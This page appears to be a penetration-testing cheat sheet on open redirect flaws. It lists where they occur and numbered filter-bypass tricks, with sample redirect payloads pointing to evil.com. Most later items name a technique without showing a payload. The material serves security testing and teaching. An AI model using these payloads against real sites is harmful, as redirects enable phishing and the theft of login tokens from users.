Open Redirect

Where to find

  • Sometimes it can be found in login / register / logout pages

  • Checking the javascript source code

How to exploit

  1. Try change the domain

/?redir=evil.com

  1. Using a whitelisted domain or keyword

/?redir=target.com.evil.com

  1. Using // to bypass http blacklisted keyword

/?redir=//evil.com

  1. Using https: to bypass // blacklisted keyword

/?redir=https:evil.com

  1. Using \\ to bypass // blacklisted keyword

/?redir=\\evil.com

  1. Using \/\/ to bypass // blacklisted keyword

  1. Using %E3%80%82 to bypass . blacklisted character

  1. Using null byte %00 to bypass blacklist filter

  1. Using parameter pollution

  1. Using @ or %40 character, browser will redirect to anything after the @

  1. Creating folder as their domain

  1. Using ? characted, browser will translate it to /?

  1. Bypass the filter if it only checks for domain name using %23

  1. Host/Split Unicode Normalization

  1. Using parsing

  1. Using ° symbol to bypass

  1. Bypass the filter if it only allows yoou to control the path using a nullbyte %0d or %0a

PreviousOAuth MisconfigurationNextSQL injection

Last updated